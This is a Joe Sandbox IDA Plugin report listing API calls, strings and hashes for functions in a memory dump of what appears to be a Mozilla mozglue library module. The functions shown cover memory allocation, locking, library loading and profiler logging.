API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 7eaccd9347e9bdfb433473b63efe2821c79cc5dbb61bcd4ab34a8a783305388e
Instruction ID: 0ef89477226ed03841c896d2ea586ba45c38610257e8b2d919e061ed01083fe8
Opcode Fuzzy Hash: 7eaccd9347e9bdfb433473b63efe2821c79cc5dbb61bcd4ab34a8a783305388e
Instruction Fuzzy Hash: E331B571B06205CBCF10DFA8C8589AEB7B5FF9B324B240919DA06D7740DB30E806CB91

Function 6C919830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C967ABE), ref: 6C91985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C967ABE), ref: 6C9198A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C919909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C919918
free.MOZGLUE(?), ref: 6C919975

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 446a02b7b24640c33a3021ac14f5d07714644b236e80917902c37378c0c83c54
Instruction ID: 45526ff1efc2409070f9bb73658107d26f6629fce558bf6e8275538ccf38af71
Opcode Fuzzy Hash: 446a02b7b24640c33a3021ac14f5d07714644b236e80917902c37378c0c83c54
Instruction Fuzzy Hash: 57718C746087098FC725CF28C481966B7F5FF4A3287254AADD85A8BFA0D731F845CB51

Function 6C91B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C95CC83,?,?,?,?,?,?,?,?,?,6C95BCAE,?,?,6C94DC2C), ref: 6C91B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C95CC83,?,?,?,?,?,?,?,?,?,6C95BCAE,?,?,6C94DC2C), ref: 6C91B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C95CC83,?,?,?,?,?,?,?,?,?,6C95BCAE), ref: 6C91B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C95CC83,?,?,?,?,?,?,?,?,?,6C95BCAE,?,?,6C94DC2C), ref: 6C91B896

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 1be10b9500b71b896ec56ee30df11f13c5fa16575aaf50df70e29df25a975c4d
Instruction ID: 081432c40d554ae3b8f57c80062ccebea77c796892406d269de1ba4094403acd
Opcode Fuzzy Hash: 1be10b9500b71b896ec56ee30df11f13c5fa16575aaf50df70e29df25a975c4d
Instruction Fuzzy Hash: F8519EB57082048FCB14CF18C484A6AB7F6FF89718F69899DD99687B51C730EC02CB80

Function 6C951D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C951D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C951BE3,?,?,6C951D96,00000000), ref: 6C951D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C951BE3,?,?,6C951D96,00000000), ref: 6C951D4C
GetCurrentThreadId.KERNEL32 ref: 6C951DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C951DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C951DDA

Part of subcall function 6C951EF0: GetCurrentThreadId.KERNEL32 ref: 6C951F03
Part of subcall function 6C951EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C951DF2,00000000,00000000), ref: 6C951F0C
Part of subcall function 6C951EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C951F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C951DF4

Part of subcall function 6C91CA10: malloc.MOZGLUE(?), ref: 6C91CA26

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 7f6d9df2de75fd131922fe72aa708365ae3bea1fdf87c148c858be18ed6f2a76
Instruction ID: f35101e80292b535041e98d38f1108c0634fc5be779d9a79f2682ffd7e9fba7e
Opcode Fuzzy Hash: 7f6d9df2de75fd131922fe72aa708365ae3bea1fdf87c148c858be18ed6f2a76
Instruction Fuzzy Hash: 7D418CB52057009FCB10CF24C884A56BBF9FF5A314F64442DE95A87B41CB71F864CB91

Function 6C9138A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C98E220,?,?,?,?,6C913899,?), ref: 6C9138B2
ReleaseSRWLockExclusive.KERNEL32(6C98E220,?,?,?,6C913899,?), ref: 6C9138C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C913899,?), ref: 6C9138F1
RtlFreeHeap.NTDLL ref: 6C913920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C913899,?), ref: 6C91392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C913899,?), ref: 6C913943
RtlFreeHeap.NTDLL ref: 6C91396E

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 1df2625cc960f9c8f44443ec73d4ea998a61d74e0d6572e489d6b8b69c6ae2c3
Instruction ID: 46aa1bce731e6034b69403d0290b2b30a47195e318021f1bf80db755877e6737
Opcode Fuzzy Hash: 1df2625cc960f9c8f44443ec73d4ea998a61d74e0d6572e489d6b8b69c6ae2c3
Instruction Fuzzy Hash: 9D213272605614DFE720DF25C881B9AB7B8FF55328F258469D95A97F10C730E845CBA0

Function 6C9484E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9484F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C94850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C94851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C94855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C94856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9485AC

Part of subcall function 6C947670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C94767F
Part of subcall function 6C947670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C947693
Part of subcall function 6C947670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9476A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9485B2

Part of subcall function 6C925E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C925EDB
Part of subcall function 6C925E90: memset.VCRUNTIME140(6C967765,000000E5,55CCCCCC), ref: 6C925F27
Part of subcall function 6C925E90: LeaveCriticalSection.KERNEL32(?), ref: 6C925FB2

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: cad0406d95045b3fe80accc23f344008ddc80a098ee2d299723a99d6bffaaeb2
Instruction ID: 3da4901f922a6ced9111d3c2177dbdf39c595e0205251ed4329d28dde1f42e22
Opcode Fuzzy Hash: cad0406d95045b3fe80accc23f344008ddc80a098ee2d299723a99d6bffaaeb2
Instruction Fuzzy Hash: BF2192742016019FDB18DF28D888A6AB7B9BF4530CF24892DE55BC3B41DB31F958CB95

Function 6C911640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C911699
VerSetConditionMask.NTDLL ref: 6C9116CB
VerSetConditionMask.NTDLL ref: 6C9116D7
VerSetConditionMask.NTDLL ref: 6C9116DE
VerSetConditionMask.NTDLL ref: 6C9116E5
VerSetConditionMask.NTDLL ref: 6C9116EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9116F9

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: e3dc252ebcb3d288e7094cc17572550232c648171e914a663a503d3a96ac48ae
Instruction ID: 5286f104871df2c2133ada6b6c8029d252bb3247db7f586e31dad5cf21039f87
Opcode Fuzzy Hash: e3dc252ebcb3d288e7094cc17572550232c648171e914a663a503d3a96ac48ae
Instruction Fuzzy Hash: C221D2B0749208BBFB116A648C8AFBB737CEFD7B04F044928F6059B680C674DD5486A1

Function 6C94F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C93CBE8: GetCurrentProcess.KERNEL32(?,6C9031A7), ref: 6C93CBF1
Part of subcall function 6C93CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9031A7), ref: 6C93CBFA

Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C914A68), ref: 6C94945E
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C949470
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C949482
Part of subcall function 6C949420: __Init_thread_footer.LIBCMT ref: 6C94949F

GetCurrentThreadId.KERNEL32 ref: 6C94F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C94F598), ref: 6C94F621

Part of subcall function 6C9494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9494EE
Part of subcall function 6C9494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C949508

GetCurrentThreadId.KERNEL32 ref: 6C94F637
AcquireSRWLockExclusive.KERNEL32(6C98F4B8,?,?,00000000,?,6C94F598), ref: 6C94F645
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8,?,?,00000000,?,6C94F598), ref: 6C94F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C94F62A

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 2061140e4139ced8045e8d6265f0741dbc665072edb9e4db0dc504a3b62c68a0
Instruction ID: 1296c5e5212e1e5ce1a08b43b8dd4a901f671336d47f7ce3747dba4aef20b89f
Opcode Fuzzy Hash: 2061140e4139ced8045e8d6265f0741dbc665072edb9e4db0dc504a3b62c68a0
Instruction Fuzzy Hash: 0F11E772206605AFCB00AF68D948DA5777DFB9735CB645816EA0683F02CB31E825CBE0

Function 6C911FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C93AB89: EnterCriticalSection.KERNEL32(6C98E370,?,?,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284), ref: 6C93AB94
Part of subcall function 6C93AB89: LeaveCriticalSection.KERNEL32(6C98E370,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C93ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C911FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C911FFD
__Init_thread_footer.LIBCMT ref: 6C912011
FreeLibrary.KERNEL32 ref: 6C912059

Strings

combase.dll, xrefs: 6C911FD9
CoCreateInstance, xrefs: 6C911FF7

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 8c332ed93108c5a6b0e09bc8d6fd44e27eae1358b41e11fb7eef5267cf145cd0
Instruction ID: 86c343c22b17d2e095082bb2ec3b39f906c9467fca5d58857f91cc4eb12494fd
Opcode Fuzzy Hash: 8c332ed93108c5a6b0e09bc8d6fd44e27eae1358b41e11fb7eef5267cf145cd0
Instruction Fuzzy Hash: D0117CB420E208EFDF10DF54CC59E6A3B79EB9B359F205929E90593A80C730D810CFA0

Function 6C910EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C93AB89: EnterCriticalSection.KERNEL32(6C98E370,?,?,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284), ref: 6C93AB94
Part of subcall function 6C93AB89: LeaveCriticalSection.KERNEL32(6C98E370,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C93ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C93D9F0,00000000), ref: 6C910F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C910F3C
__Init_thread_footer.LIBCMT ref: 6C910F50
FreeLibrary.KERNEL32(?,6C93D9F0,00000000), ref: 6C910F86

Strings

CoInitializeEx, xrefs: 6C910F36
combase.dll, xrefs: 6C910F18

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: ab71728c8363c423e0aad9cba3a5e03b0da80d13494dc7114a4cee81204b58b0
Instruction ID: 61689e8ee946516ea8ccdc12ef3682e0ff31c4785b4b24b10587b9fc3310285b
Opcode Fuzzy Hash: ab71728c8363c423e0aad9cba3a5e03b0da80d13494dc7114a4cee81204b58b0
Instruction Fuzzy Hash: 1211C27470F2449FDF00CF54C91AA663778EB8B329F246A2AE90593FC1D731E425CA61

Function 6C94F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C914A68), ref: 6C94945E
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C949470
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C949482
Part of subcall function 6C949420: __Init_thread_footer.LIBCMT ref: 6C94949F

GetCurrentThreadId.KERNEL32 ref: 6C94F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C94F561

Part of subcall function 6C9494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9494EE
Part of subcall function 6C9494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C949508

GetCurrentThreadId.KERNEL32 ref: 6C94F577
AcquireSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94F585
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C94F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C94F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C94F3A8
[I %d/%d] profiler_resume, xrefs: 6C94F239

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e03718af4ac578da20e523f5002862ba4c7e07b83b68f4c5287c6f17fbdd1909
Instruction ID: c6638baf4468339dffbaa89e0af9a534b5d855eb153247bd34d8306b23f1eca6
Opcode Fuzzy Hash: e03718af4ac578da20e523f5002862ba4c7e07b83b68f4c5287c6f17fbdd1909
Instruction Fuzzy Hash: D9F0B476206200AFDB006B74DC4CA6A77BCEB9729DF244812EA0583702DB35C80487B0

Function 6C94F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C914A68), ref: 6C94945E
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C949470
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C949482
Part of subcall function 6C949420: __Init_thread_footer.LIBCMT ref: 6C94949F

GetCurrentThreadId.KERNEL32 ref: 6C94F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C94F598), ref: 6C94F621

Part of subcall function 6C9494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9494EE
Part of subcall function 6C9494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C949508

GetCurrentThreadId.KERNEL32 ref: 6C94F637
AcquireSRWLockExclusive.KERNEL32(6C98F4B8,?,?,00000000,?,6C94F598), ref: 6C94F645
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8,?,?,00000000,?,6C94F598), ref: 6C94F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C94F62A

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 10068604303180d0fc6960d3a27ba07ef424bc0c2ac1aba816b8ae9225ddd076
Instruction ID: 018d6b546f29d7e19c064d4bcee9f457e6665017c29a954c16d8464b8a1a208d
Opcode Fuzzy Hash: 10068604303180d0fc6960d3a27ba07ef424bc0c2ac1aba816b8ae9225ddd076
Instruction Fuzzy Hash: AEF05475206204AFDB006B75DC4CA5A777DEB9729DF244816EA0583742CB75880587B5

Function 6C910E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C910DF8), ref: 6C910E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C910EA1
__Init_thread_footer.LIBCMT ref: 6C910EB5
FreeLibrary.KERNEL32 ref: 6C910EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C910E9B
kernel32.dll, xrefs: 6C910E7D

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0d22af8c1c3212957d8f69fdbad681f1716add497b2b9f1677ac3f8695e42aa3
Instruction ID: d1b18914c8a20464414f29af0173fdf6aee30e0611de73b3360ae1fbd680441b
Opcode Fuzzy Hash: 0d22af8c1c3212957d8f69fdbad681f1716add497b2b9f1677ac3f8695e42aa3
Instruction Fuzzy Hash: E201287460A285CBFF008FE9C815A4237B9F74BB1CF302D29E91583F40DB36E4248A51

Function 6C9405F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C93CFAE,?,?,?,6C9031A7), ref: 6C9405FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C93CFAE,?,?,?,6C9031A7), ref: 6C940616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9031A7), ref: 6C94061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9031A7), ref: 6C940627

Strings

<jemalloc>, xrefs: 6C9405FA, 6C94060F
: (malloc) Error in VirtualFree(), xrefs: 6C94061B, 6C940625

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
